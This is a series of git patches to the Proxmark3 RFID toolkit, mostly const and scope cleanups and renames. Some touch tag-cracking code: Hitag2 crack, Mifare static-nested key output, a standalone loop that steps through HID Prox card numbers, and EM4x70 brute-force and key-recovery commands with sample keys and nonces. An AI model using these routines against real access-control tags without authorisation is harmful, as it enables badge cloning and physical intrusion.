uint64_t arg[3] = {arg0, arg1, arg2}; if (len > PM3_CMD_DATA_SIZE_MIX) { PrintAndLogEx(WARNING, "Sending %zu bytes of payload is too much for MIX frames, abort", len); @@ -228,7 +228,7 @@ void clearCommandBuffer(void) { * @brief storeCommand stores a USB command in a circular buffer * @param UC */ -static void storeReply(PacketResponseNG *packet) { +static void storeReply(const PacketResponseNG *packet) { pthread_mutex_lock(&rxBufferMutex); if ((cmd_head + 1) % CMD_BUFFER_SIZE == cmd_tail) { //If these two are equal, we're about to overwrite in the @@ -296,7 +296,7 @@ static void PacketResponseReceived(PacketResponseNG *packet) { uint16_t flag; uint8_t buf[PM3_CMD_DATA_SIZE - sizeof(uint16_t)]; } PACKED; - struct d *data = (struct d *)&packet->data.asBytes; + const struct d *data = (struct d *)&packet->data.asBytes; len = packet->length - sizeof(data->flag); flag = data->flag; memcpy(s, data->buf, len); @@ -350,7 +350,7 @@ static void PacketResponseReceived(PacketResponseNG *packet) { // When communication thread is dead, start up and try to start it again void *uart_reconnect(void *targ) { - communication_arg_t *connection = (communication_arg_t *)targ; + const communication_arg_t *connection = (communication_arg_t *)targ; #if defined(__MACH__) && defined(__APPLE__) disableAppNap("Proxmark3 polling UART"); @@ -405,7 +405,7 @@ __attribute__((force_align_arg_pointer)) #endif #endif *uart_communication(void *targ) { - communication_arg_t *connection = (communication_arg_t *)targ; + const communication_arg_t *connection = (communication_arg_t *)targ; uint32_t rxlen; bool commfailed = false; PacketResponseNG rx; @@ -686,7 +686,7 @@ bool IsCommunicationThreadDead(void) { bool SetCommunicationReceiveMode(bool isRawMode) { if (isRawMode) { - uint8_t *buffer = __atomic_load_n(&comm_raw_data, __ATOMIC_SEQ_CST); + const uint8_t *buffer = __atomic_load_n(&comm_raw_data, __ATOMIC_SEQ_CST); if (buffer == NULL) { PrintAndLogEx(ERR, "Buffer for raw data is not set"); return false; @@ -850,7 +850,7 @@ int TestProxmark(pm3_device_t *dev) { return PM3_EDEVNOTSUPP; } - memcpy(&g_pm3_capabilities, resp.data.asBytes, MIN(sizeof(capabilities_t), resp.length)); + memcpy(&g_pm3_capabilities, resp.data.asBytes, sizeof(capabilities_t)); g_conn.send_via_fpc_usart = g_pm3_capabilities.via_fpc; g_conn.uart_speed = g_pm3_capabilities.baudrate; diff --git a/client/src/comms.h b/client/src/comms.h index 4e61da429..133474e5e 100644 --- a/client/src/comms.h +++ b/client/src/comms.h @@ -96,9 +96,9 @@ void *uart_reconnect(void *targ); void *uart_receiver(void *targ); void SendCommandBL(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len); -void SendCommandOLD(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len); +void SendCommandOLD(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len); void SendCommandNG(uint16_t cmd, uint8_t *data, size_t len); -void SendCommandMIX(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len); +void SendCommandMIX(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, const void *data, size_t len); void clearCommandBuffer(void); #define FLASHMODE_SPEED 460800 From 5fd4d7e774a6885e59c29246e5ac3c452f952c1b Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 14:29:30 +0200 Subject: [PATCH 054/157] fix const param, bitwiseboolean --- armsrc/hitag2.c | 2 +- armsrc/hitag2_crack.c | 2 +- armsrc/hitagS.c | 6 +++--- client/src/cmdhf14a.c | 10 +++++----- client/src/cmdhf14a.h | 2 +- client/src/cmdhfmfu.c | 2 +- tools/mfkey/staticnested.c | 4 ++-- 7 files changed, 14 insertions(+), 14 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 8a65f5ad7..e9e8ef6c6 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -17,7 +17,7 @@ #define DBG if (g_dbglevel >= DBG_EXTENDED) #include "hitag2.h" -#include "hitag2_crypto.h" +#include "hitag2/hitag2_crypto.h" #include "string.h" #include "proxmark3_arm.h" #include "cmd.h" diff --git a/armsrc/hitag2_crack.c b/armsrc/hitag2_crack.c index 6edac25b4..fa14faa2a 100644 --- a/armsrc/hitag2_crack.c +++ b/armsrc/hitag2_crack.c @@ -19,7 +19,7 @@ #include "hitag2_crack.h" -#include "hitag2_crypto.h" +#include "hitag2/hitag2_crypto.h" #include "hitag2.h" #include "proxmark3_arm.h" #include "commonutil.h" diff --git a/armsrc/hitagS.c b/armsrc/hitagS.c index 16ba8ef11..f80c350d0 100644 --- a/armsrc/hitagS.c +++ b/armsrc/hitagS.c @@ -29,7 +29,7 @@ #include "util.h" #include "string.h" #include "commonutil.h" -#include "hitag2_crypto.h" +#include "hitag2/hitag2_crypto.h" #include "lfadc.h" #include "crc.h" @@ -1090,7 +1090,7 @@ static void hitagS_receive_frame(uint8_t *rx, size_t sizeofrx, size_t *rxlen, ui // Dbprintf("RX0 %i:%02X.. err:%i resptime:%i", *rxlen, rx[0], errorCount, *resptime); } -static void sendReceiveHitagS(uint8_t *tx, size_t txlen, uint8_t *rx, size_t sizeofrx, size_t *prxbits, int t_wait, bool ledcontrol, bool ac_seq) { +static void sendReceiveHitagS( const uint8_t *tx, size_t txlen, uint8_t *rx, size_t sizeofrx, size_t *prxbits, int t_wait, bool ledcontrol, bool ac_seq) { LogTraceBits(tx, txlen, HITAG_T_WAIT_2, HITAG_T_WAIT_2, true); @@ -1557,7 +1557,7 @@ void WritePageHitagS(const lf_hitag_data_t *payload, bool ledcontrol) { break; default: { res = PM3_EINVARG; - return; + goto write_end; } } diff --git a/client/src/cmdhf14a.c b/client/src/cmdhf14a.c index 312e42994..69e5109b2 100644 --- a/client/src/cmdhf14a.c +++ b/client/src/cmdhf14a.c @@ -863,7 +863,7 @@ int CmdHF14ASim(const char *Cmd) { if ((flags & FLAG_NR_AR_ATTACK) != FLAG_NR_AR_ATTACK) break; - nonces_t *data = (nonces_t *)resp.data.asBytes; + const nonces_t *data = (nonces_t *)resp.data.asBytes; readerAttack(k_sector, k_sectors_cnt, data[0], setEmulatorMem, verbose); keypress = kbd_enter_pressed(); @@ -1099,7 +1099,7 @@ int SelectCard14443A_4(bool disconnect, bool verbose, iso14a_card_select_t *card return SelectCard14443A_4_WithParameters(disconnect, verbose, card, NULL); } -static int CmdExchangeAPDU(bool chainingin, uint8_t *datain, int datainlen, bool activateField, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool *chainingout) { +static int CmdExchangeAPDU(bool chainingin, const uint8_t *datain, int datainlen, bool activateField, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool *chainingout) { *chainingout = false; size_t timeout = 1500; @@ -1158,7 +1158,7 @@ static int CmdExchangeAPDU(bool chainingin, uint8_t *datain, int datainlen, bool PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, timeout)) { - uint8_t *recv = resp.data.asBytes; + const uint8_t *recv = resp.data.asBytes; int iLen = resp.oldarg[0]; uint8_t res = resp.oldarg[1]; @@ -1216,7 +1216,7 @@ static int CmdExchangeAPDU(bool chainingin, uint8_t *datain, int datainlen, bool return PM3_SUCCESS; } -int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen) { +int ExchangeAPDU14a(const uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen) { *dataoutlen = 0; bool chaining = false; int res; @@ -1519,7 +1519,7 @@ static int CmdHF14ACmdRaw(const char *Cmd) { } // TODO: allow to use reader command with both data and polling configuration - if (use_ecp | use_magsafe) { + if (use_ecp || use_magsafe) { PrintAndLogEx(WARNING, "ECP and Magsafe not supported with this command at this moment. Instead use 'hf 14a reader -sk --ecp/--mag'"); // flags |= ISO14A_USE_MAGSAFE; // flags |= ISO14A_USE_ECP; diff --git a/client/src/cmdhf14a.h b/client/src/cmdhf14a.h index 5d76a0699..7b5bc48be 100644 --- a/client/src/cmdhf14a.h +++ b/client/src/cmdhf14a.h @@ -66,7 +66,7 @@ int infoHF14A(bool verbose, bool do_nack_test, bool do_aid_search); int infoHF14A4Applications(bool verbose); const char *getTagInfo(uint8_t uid); int Hf14443_4aGetCardData(iso14a_card_select_t *card); -int ExchangeAPDU14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); +int ExchangeAPDU14a(const uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); int ExchangeRAW14a(uint8_t *datain, int datainlen, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, bool silentMode); iso14a_polling_parameters_t iso14a_get_polling_parameters(bool use_ecp, bool use_magsafe); diff --git a/client/src/cmdhfmfu.c b/client/src/cmdhfmfu.c index 2d73bc89d..b77d55fc0 100644 --- a/client/src/cmdhfmfu.c +++ b/client/src/cmdhfmfu.c @@ -3253,7 +3253,7 @@ int CmdHF14MfUTamper(const char *Cmd) { } } - if (enable | disable | lock_msg) { + if (enable || disable || lock_msg) { if (ul_select(&card) == false) { PrintAndLogEx(ERR, "Unable to select tag"); diff --git a/tools/mfkey/staticnested.c b/tools/mfkey/staticnested.c index 164dcaaa1..9d3a3b964 100644 --- a/tools/mfkey/staticnested.c +++ b/tools/mfkey/staticnested.c @@ -166,7 +166,7 @@ static void pm3_staticnested(uint32_t uid, uint32_t nt1, uint32_t ks1, uint32_t for (uint32_t k = 0; k < keycnt; k++) { uint64_t key64 = 0; crypto1_get_lfsr(statelists[0].head.slhead + k, &key64); - printf("[ %d ] " _GREEN_("%012" PRIx64) "\n", k + 1, key64); + printf("[ %u ] " _GREEN_("%012" PRIx64) "\n", k + 1, key64); } } } @@ -222,7 +222,7 @@ int main(int argc, char *const argv[]) { if (key_count) { printf("Ultra Static nested --> Found " _YELLOW_("%u") " key candidates\n", key_count); for (uint32_t k = 0; k < key_count; k++) { - printf("[ %d ] " _GREEN_("%012" PRIx64) "\n", k + 1, keys[k]); + printf("[ %u ] " _GREEN_("%012" PRIx64) "\n", k + 1, keys[k]); } } From b696c498b7987d834cf3d45d8ddb7fa96a363306 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 14:37:08 +0200 Subject: [PATCH 055/157] scope, const --- armsrc/Standalone/lf_prox2brute.c | 3 +-- armsrc/felica.c | 9 ++++----- 2 files changed, 5 insertions(+), 7 deletions(-) diff --git a/armsrc/Standalone/lf_prox2brute.c b/armsrc/Standalone/lf_prox2brute.c index ecfaac9e3..851dd597a 100644 --- a/armsrc/Standalone/lf_prox2brute.c +++ b/armsrc/Standalone/lf_prox2brute.c @@ -48,7 +48,6 @@ void RunMod(void) { FpgaDownloadAndGo(FPGA_BITSTREAM_LF); const uint32_t high = 0x20; // LF high value is always 0x20 here - uint32_t low = 0; uint32_t fac = FACILITY_CODE, cardnum = 0; @@ -80,7 +79,7 @@ void RunMod(void) { if (BUTTON_HELD(1000) == BUTTON_HOLD) break; // long button press (>=1sec) exit // calculate the new LF low value including Card number, Facility code and checksum - low = (cardnum << 1) | (fac << 17); + uint32_t low = (cardnum << 1) | (fac << 17); low |= oddparity32((low >> 1) & 0xFFF); low |= evenparity32((low >> 13) & 0xFFF) << 25; diff --git a/armsrc/felica.c b/armsrc/felica.c index 4b913707e..084ca6eee 100644 --- a/armsrc/felica.c +++ b/armsrc/felica.c @@ -544,7 +544,6 @@ void felica_sendraw(const PacketCommandNG *c) { felica_command_t param = c->oldarg[0]; size_t len = c->oldarg[1] & 0xffff; - const uint8_t *cmd = c->data.asBytes; uint32_t arg0; if ((param & FELICA_CONNECT) == FELICA_CONNECT) { @@ -581,7 +580,7 @@ void felica_sendraw(const PacketCommandNG *c) { buf[2] = len; // copy command - memcpy(buf + 2, cmd, len); + memcpy(buf + 2, c->data.asBytes, len); if ((param & FELICA_APPEND_CRC) == FELICA_APPEND_CRC) { // Don't append crc on empty bytearray... @@ -630,7 +629,7 @@ void felica_sniff(uint32_t samplesToSkip, uint32_t triggersToSkip) { int remFrames = (samplesToSkip) ? samplesToSkip : 0; int trigger_cnt = 0; uint32_t timeout = iso18092_get_timeout(); - bool isReaderFrame = true; + bool isReaderFrame; uint8_t flip = 0; uint16_t checker = 0; @@ -733,7 +732,7 @@ void felica_sim_lite(const uint8_t *uid) { int retval = PM3_SUCCESS; int curlen = 0; - uint8_t *curresp = NULL; + const uint8_t *curresp = NULL; bool listenmode = true; // uint32_t frtm = GetCountSspClk(); @@ -883,7 +882,7 @@ void felica_dump_lite_s(void) { dest[cnt++] = liteblks[blknum]; - uint8_t *fb = FelicaFrame.framebytes; + const uint8_t *fb = FelicaFrame.framebytes; dest[cnt++] = fb[12]; dest[cnt++] = fb[13]; From cd1f935846da57030aa2ef909e31f4fd3d870f7c Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 15:20:01 +0200 Subject: [PATCH 056/157] fix missing --- client/src/proxmark3.c | 20 +++++++++----------- client/src/proxmark3.h | 2 +- 2 files changed, 10 insertions(+), 12 deletions(-) diff --git a/client/src/proxmark3.c b/client/src/proxmark3.c index 08c231e1b..54b05670a 100644 --- a/client/src/proxmark3.c +++ b/client/src/proxmark3.c @@ -385,7 +385,7 @@ void __attribute__((force_align_arg_pointer)) #endif #endif -main_loop(char *script_cmds_file, char *script_cmd, bool stayInCommandLoop) { +main_loop(const char *script_cmds_file, char *script_cmd, bool stayInCommandLoop) { char *cmd = NULL; bool execCommand = (script_cmd != NULL); @@ -777,31 +777,29 @@ static void show_help(bool showFullHelp, char *exec_name) { } static int dumpmem_to_file(const char *filename, uint32_t addr, uint32_t len, bool raw, bool in_bootloader) { - int res = PM3_EUNDEF; uint8_t *buffer = calloc(len, sizeof(uint8_t)); - if (!buffer) { + if (buffer == NULL) { PrintAndLogEx(ERR, "error, cannot allocate memory "); - res = PM3_EMALLOC; - goto fail; + return PM3_EMALLOC; } - size_t read = 0; + int res = PM3_EUNDEF; + size_t readlen = 0; DeviceMemType_t type = raw ? MCU_MEM : MCU_FLASH; if (GetFromDevice(type, buffer, len, addr, NULL, 0, NULL, 1000, true)) { res = PM3_SUCCESS; - read = len; // GetFromDevice does not report the actual number of bytes received. + readlen = len; // GetFromDevice does not report the actual number of bytes received. } if (res == PM3_SUCCESS) { - if (saveFile(filename, ".bin", buffer, read) != 0) { + res = saveFile(filename, ".bin", buffer, readlen); + if (res != PM3_SUCCESS) { PrintAndLogEx(ERR, "error writing to file "_YELLOW_("%s"), filename); - res = PM3_EFILE; } } free(buffer); -fail: return res; } @@ -1441,7 +1439,7 @@ int main(int argc, char *argv[]) { MainGraphics(); # else // for *nix distro's, check environment variable to verify a display - char *display = getenv("DISPLAY"); + const char *display = getenv("DISPLAY"); if (display && strlen(display) > 1) { InitGraphics(argc, argv, script_cmds_file, script_cmd, stayInCommandLoop); MainGraphics(); diff --git a/client/src/proxmark3.h b/client/src/proxmark3.h index bc6dcb3e7..f9f748574 100644 --- a/client/src/proxmark3.h +++ b/client/src/proxmark3.h @@ -64,7 +64,7 @@ const char *get_my_executable_path(void); const char *get_my_executable_directory(void); const char *get_my_user_directory(void); void pm3_init(void); -void main_loop(char *script_cmds_file, char *script_cmd, bool stayInCommandLoop); +void main_loop(const char *script_cmds_file, char *script_cmd, bool stayInCommandLoop); #ifdef __cplusplus } From cacc1c14451df80962ae3d01d9fbbe6ae239862d Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 14 May 2024 16:12:42 +0200 Subject: [PATCH 057/157] unused --- armsrc/usart.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/armsrc/usart.c b/armsrc/usart.c index 20107b992..1dcaf7517 100644 --- a/armsrc/usart.c +++ b/armsrc/usart.c @@ -85,7 +85,7 @@ static size_t us_rxfifo_high = 0; static void usart_fill_rxfifo(void) { - uint16_t rxfifo_free = 0; + uint16_t rxfifo_free; if (pUS1->US_RNCR == 0) { // One buffer got filled, backup buffer being used From d27c084819deea18bf276c5660638bba4445f473 Mon Sep 17 00:00:00 2001 From: Henry Gabryjelski Date: Tue, 14 May 2024 19:16:05 -0700 Subject: [PATCH 058/157] Internal code cleanup. Reduce ambiguity in function and parameter names. --- armsrc/em4x70.c | 55 ++++++++++++++++++++++++++++--------------------- 1 file changed, 31 insertions(+), 24 deletions(-) diff --git a/armsrc/em4x70.c b/armsrc/em4x70.c index 663b8a586..68025dcdd 100644 --- a/armsrc/em4x70.c +++ b/armsrc/em4x70.c @@ -80,9 +80,9 @@ static bool command_parity = true; #define IS_TIMEOUT(timeout_ticks) (GetTicks() > timeout_ticks) #define TICKS_ELAPSED(start_ticks) (GetTicks() - start_ticks) -static uint8_t bits2byte(const uint8_t *bits, int length); -static void bits2bytes(const uint8_t *bits, int length, uint8_t *out); -static int em4x70_receive(uint8_t *bits, size_t length); +static uint8_t encoded_bit_array_to_byte(const uint8_t *bits, int count_of_bits); +static void encoded_bit_array_to_bytes(const uint8_t *bits, int count_of_bits, uint8_t *out); +static int em4x70_receive(uint8_t *bits, size_t maximum_bits_to_read); static bool find_listen_window(bool command); static void init_tag(void) { @@ -207,9 +207,10 @@ static uint32_t get_pulse_length(edge_detection_t edge) { return 0; } -static bool check_pulse_length(uint32_t pl, uint32_t length) { - // check if pulse length corresponds to given length - return ((pl >= (length - EM4X70_T_TAG_TOLERANCE)) && (pl <= (length + EM4X70_T_TAG_TOLERANCE))); +static bool check_pulse_length(uint32_t pulse_tick_length, uint32_t target_tick_length) { + // check if pulse tick length corresponds to target length (+/- tolerance) + return ((pulse_tick_length >= (target_tick_length - EM4X70_T_TAG_TOLERANCE)) && + (pulse_tick_length <= (target_tick_length + EM4X70_T_TAG_TOLERANCE))); } static void em4x70_send_bit(bool bit) { @@ -301,7 +302,7 @@ static bool check_ack(void) { // ACK 64 + 64 // NAK 64 + 48 if (check_pulse_length(get_pulse_length(FALLING_EDGE), 2 * EM4X70_T_TAG_FULL_PERIOD) && - check_pulse_length(get_pulse_length(FALLING_EDGE), 2 * EM4X70_T_TAG_FULL_PERIOD)) { + check_pulse_length(get_pulse_length(FALLING_EDGE), 2 * EM4X70_T_TAG_FULL_PERIOD)) { // ACK return true; } @@ -344,7 +345,11 @@ static int authenticate(const uint8_t *rnd, const uint8_t *frnd, uint8_t *respon if (g_dbglevel >= DBG_EXTENDED) Dbprintf("Auth failed"); return PM3_ESOFT; } - bits2bytes(grnd, 24, response); + // although only received 20 bits + // ask for 24 bits converted because + // this utility function requires + // decoding in multiples of 8 bits + encoded_bit_array_to_bytes(grnd, 24, response); return PM3_SUCCESS; } @@ -455,12 +460,12 @@ static int send_pin(const uint32_t pin) { WaitTicks(EM4X70_T_TAG_WEE); // <-- Receive header + ID uint8_t tag_id[EM4X70_MAX_RECEIVE_LENGTH]; - int num = em4x70_receive(tag_id, 32); - if (num < 32) { + int count_of_bits_received = em4x70_receive(tag_id, 32); + if (count_of_bits_received < 32) { Dbprintf("Invalid ID Received"); return PM3_ESOFT; } - bits2bytes(tag_id, num, &tag.data[4]); + encoded_bit_array_to_bytes(tag_id, count_of_bits_received, &tag.data[4]); return PM3_SUCCESS; } } @@ -537,30 +542,32 @@ static bool find_listen_window(bool command) { return false; } -static void bits2bytes(const uint8_t *bits, int length, uint8_t *out) { +// *bits == array of bytes, each byte storing a single bit. +// *out == array of bytes, storing converted bits --> bytes. +// +// [in, bcount(count_of_bits) ] const uint8_t *bits +// [out, bcount(count_of_bits/8)] uint8_t *out +static void encoded_bit_array_to_bytes(const uint8_t *bits, int count_of_bits, uint8_t *out) { - if (length % 8 != 0) { - Dbprintf("Should have a multiple of 8 bits, was sent %d", length); + if (count_of_bits % 8 != 0) { + Dbprintf("Should have a multiple of 8 bits, was sent %d", count_of_bits); } - int num_bytes = length / 8; // We should have a multiple of 8 here + int num_bytes = count_of_bits / 8; // We should have a multiple of 8 here for (int i = 1; i <= num_bytes; i++) { - out[num_bytes - i] = bits2byte(bits, 8); + out[num_bytes - i] = encoded_bit_array_to_byte(bits, 8); bits += 8; } } -static uint8_t bits2byte(const uint8_t *bits, int length) { +static uint8_t encoded_bit_array_to_byte(const uint8_t *bits, int count_of_bits) { - // converts separate bits into a single "byte" + // converts separate bits into a single "byte" uint8_t byte = 0; - for (int i = 0; i < length; i++) { - + for (int i = 0; i < count_of_bits; i++) { + byte <<= 1; byte |= bits[i]; - - if (i != length - 1) - byte <<= 1; } return byte; @@ -581,7 +588,7 @@ static bool send_command_and_read(uint8_t command, uint8_t *bytes, size_t expect Dbprintf("Invalid data received length: %d, expected %d", len, out_length_bits); return false; } - bits2bytes(bits, len, bytes); + encoded_bit_array_to_bytes(bits, len, bytes); return true; } } From b7fff95b7c2ac000b6727e0d97b4417810fe0b95 Mon Sep 17 00:00:00 2001 From: Henry Gabryjelski Date: Tue, 14 May 2024 19:16:37 -0700 Subject: [PATCH 059/157] Improve editor folding (some editors use indentation as cue) --- armsrc/em4x70.c | 73 +++++++++++++++++++++++++++---------------------- 1 file changed, 40 insertions(+), 33 deletions(-) diff --git a/armsrc/em4x70.c b/armsrc/em4x70.c index 68025dcdd..6f962fe40 100644 --- a/armsrc/em4x70.c +++ b/armsrc/em4x70.c @@ -30,43 +30,50 @@ static em4x70_tag_t tag = { 0 }; // EM4170 requires a parity bit on commands, other variants do not. static bool command_parity = true; -// Conversion from Ticks to RF periods -// 1 us = 1.5 ticks -// 1RF Period = 8us = 12 Ticks -#define TICKS_PER_FC 12 -// Chip timing from datasheet -// Converted into Ticks for timing functions -#define EM4X70_T_TAG_QUARTER_PERIOD (8 * TICKS_PER_FC) -#define EM4X70_T_TAG_HALF_PERIOD (16 * TICKS_PER_FC) -#define EM4X70_T_TAG_THREE_QUARTER_PERIOD (24 * TICKS_PER_FC) -#define EM4X70_T_TAG_FULL_PERIOD (32 * TICKS_PER_FC) // 1 Bit Period -#define EM4X70_T_TAG_TWA (128 * TICKS_PER_FC) // Write Access Time -#define EM4X70_T_TAG_DIV (224 * TICKS_PER_FC) // Divergency Time -#define EM4X70_T_TAG_AUTH (4224 * TICKS_PER_FC) // Authentication Time -#define EM4X70_T_TAG_WEE (3072 * TICKS_PER_FC) // EEPROM write Time -#define EM4X70_T_TAG_TWALB (672 * TICKS_PER_FC) // Write Access Time of Lock Bits -#define EM4X70_T_TAG_BITMOD (4 * TICKS_PER_FC) // Initial time to stop modulation when sending 0 -#define EM4X70_T_TAG_TOLERANCE (8 * TICKS_PER_FC) // Tolerance in RF periods for receive/LIW +#if 1 // Calculation of ticks for timing functions + // Conversion from Ticks to RF periods + // 1 us = 1.5 ticks + // 1RF Period = 8us = 12 Ticks + #define TICKS_PER_FC 12 -#define EM4X70_T_TAG_TIMEOUT (4 * EM4X70_T_TAG_FULL_PERIOD) // Timeout if we ever get a pulse longer than this -#define EM4X70_T_WAITING_FOR_LIW 50 // Pulses to wait for listen window -#define EM4X70_T_READ_HEADER_LEN 16 // Read header length (16 bit periods) + // Chip timing from datasheet + // Converted into Ticks for timing functions + #define EM4X70_T_TAG_QUARTER_PERIOD (8 * TICKS_PER_FC) + #define EM4X70_T_TAG_HALF_PERIOD (16 * TICKS_PER_FC) + #define EM4X70_T_TAG_THREE_QUARTER_PERIOD (24 * TICKS_PER_FC) + #define EM4X70_T_TAG_FULL_PERIOD (32 * TICKS_PER_FC) // 1 Bit Period + #define EM4X70_T_TAG_TWA (128 * TICKS_PER_FC) // Write Access Time + #define EM4X70_T_TAG_DIV (224 * TICKS_PER_FC) // Divergency Time + #define EM4X70_T_TAG_AUTH (4224 * TICKS_PER_FC) // Authentication Time + #define EM4X70_T_TAG_WEE (3072 * TICKS_PER_FC) // EEPROM write Time + #define EM4X70_T_TAG_TWALB (672 * TICKS_PER_FC) // Write Access Time of Lock Bits + #define EM4X70_T_TAG_BITMOD (4 * TICKS_PER_FC) // Initial time to stop modulation when sending 0 + #define EM4X70_T_TAG_TOLERANCE (8 * TICKS_PER_FC) // Tolerance in RF periods for receive/LIW -#define EM4X70_COMMAND_RETRIES 5 // Attempts to send/read command -#define EM4X70_MAX_RECEIVE_LENGTH 96 // Maximum bits to expect from any command + #define EM4X70_T_TAG_TIMEOUT (4 * EM4X70_T_TAG_FULL_PERIOD) // Timeout if we ever get a pulse longer than this + #define EM4X70_T_WAITING_FOR_LIW 50 // Pulses to wait for listen window + #define EM4X70_T_READ_HEADER_LEN 16 // Read header length (16 bit periods) -/** - * These IDs are from the EM4170 datasheet - * Some versions of the chip require a - * (even) parity bit, others do not - */ -#define EM4X70_COMMAND_ID 0x01 -#define EM4X70_COMMAND_UM1 0x02 -#define EM4X70_COMMAND_AUTH 0x03 -#define EM4X70_COMMAND_PIN 0x04 -#define EM4X70_COMMAND_WRITE 0x05 -#define EM4X70_COMMAND_UM2 0x07 + #define EM4X70_COMMAND_RETRIES 5 // Attempts to send/read command + #define EM4X70_MAX_RECEIVE_LENGTH 96 // Maximum bits to expect from any command +#endif // Calculation of ticks for timing functions + +#if 1 // EM4x70 Command IDs + /** + * These IDs are from the EM4170 datasheet. + * Some versions of the chip require a + * (even) parity bit, others do not. + * The command is thus stored only in the + * three least significant bits (mask 0x07). + */ + #define EM4X70_COMMAND_ID 0x01 + #define EM4X70_COMMAND_UM1 0x02 + #define EM4X70_COMMAND_AUTH 0x03 + #define EM4X70_COMMAND_PIN 0x04 + #define EM4X70_COMMAND_WRITE 0x05 + #define EM4X70_COMMAND_UM2 0x07 +#endif // EM4x70 Command IDs // Constants used to determine high/low state of signal #define EM4X70_NOISE_THRESHOLD 13 // May depend on noise in environment From 2952d55904823c58167416d021f996df54851e9f Mon Sep 17 00:00:00 2001 From: Henry Gabryjelski Date: Tue, 14 May 2024 20:21:42 -0700 Subject: [PATCH 060/157] Add `lf em 4x70 calc` --- client/src/cmdlfem4x70.c | 144 ++++++++++++++++++++++++++++++++++----- 1 file changed, 126 insertions(+), 18 deletions(-) diff --git a/client/src/cmdlfem4x70.c b/client/src/cmdlfem4x70.c index f1ef08023..b423640f4 100644 --- a/client/src/cmdlfem4x70.c +++ b/client/src/cmdlfem4x70.c @@ -164,7 +164,15 @@ typedef struct _em4x70_cmd_input_verify_auth_t { ID48LIB_GRN grn; } em4x70_cmd_input_verify_auth_t; -static int CmdHelp(const char *Cmd); +typedef struct _em4x70_cmd_input_calculate_t { + ID48LIB_KEY key; + ID48LIB_NONCE rn; +} em4x70_cmd_input_calculate_t; +typedef struct _em4x70_cmd_output_calculate_t { + ID48LIB_FRN frn; + ID48LIB_GRN grn; +} em4x70_cmd_output_calculate_t; + static void fill_buffer_prng_bytes(void *buffer, size_t byte_count) { if (byte_count <= 0) { @@ -431,21 +439,6 @@ static int verify_auth_em4x70(const em4x70_cmd_input_verify_auth_t *opts) { return result; } -// used by `lf search` and `search`, this is a quick test for EM4x70 tag -// In alignment with other tags implementations, this also dumps basic information -// about the tag, if one is found. -// Use helper function `get_em4x70_info()` if wanting to limit / avoid output. -bool detect_4x70_block(void) { - em4x70_tag_info_t info; - em4x70_cmd_input_info_t opts = { 0 }; - - int result = get_em4x70_info(&opts, &info); - - if (result == PM3_ETIMEOUT) { // consider removing this output? - PrintAndLogEx(WARNING, "Timeout while waiting for reply."); - } - return result == PM3_SUCCESS; -} int CmdEM4x70Info(const char *Cmd) { @@ -549,8 +542,10 @@ int CmdEM4x70Brute(const char *Cmd) { "This attack does NOT write anything to the tag.\n" "Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'.\n" "After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'\n", - "lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 --> bruteforcing key bits k95...k80\n" - ); + "lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 --> bruteforcing key bits k95...k80 (pm3 test key)\n" + "lf em 4x70 brute -b 8 --rnd 3FFE1FB6CC513F --frn F355F1A0 --> bruteforcing key bits k79...k64 (research paper key)\n" + "lf em 4x70 brute -b 7 --rnd 7D5167003571F8 --frn 982DBCC0 --> bruteforcing key bits k63...k48 (autorecovery test key)\n" + ); void *argtable[] = { arg_param_begin, arg_lit0(NULL, "par", "Add parity bit when sending commands"), @@ -902,6 +897,7 @@ static int CmdEM4x70Recover_ParseArgs(const char *Cmd, em4x70_cmd_input_recover_ , "lf em 4x70 recover --key F32AA98CF5BE --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)\n" "lf em 4x70 recover --key A090A0A02080 --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)\n" + "lf em 4x70 recover --key 022A028C02BE --rnd 7D5167003571F8 --frn 982DBCC0 --grn 36C0E0 (autorecovery test key)\n" ); void *argtable[] = { @@ -1442,6 +1438,98 @@ static int CmdEM4x70AutoRecover(const char *Cmd) { return result; } +static int CmdEM4x70Calc_ParseArgs(const char *Cmd, em4x70_cmd_input_calculate_t *out_results) { + + memset(out_results, 0, sizeof(em4x70_cmd_input_calculate_t)); + + int result = PM3_SUCCESS; + + CLIParserContext *ctx; + CLIParserInit( + &ctx, + "lf em 4x70 calc", + "Calculates both the reader and tag challenge for a user-provided key and rnd.\n" + , + "lf em 4x70 calc --key F32AA98CF5BE4ADFA6D3480B --rnd 45F54ADA252AAC (pm3 test key)\n" // --frn 4866BB70 --grn 9BD180 + "lf em 4x70 calc --key A090A0A02080000000000000 --rnd 3FFE1FB6CC513F (research paper key)\n" // --frn F355F1A0 --grn 609D60 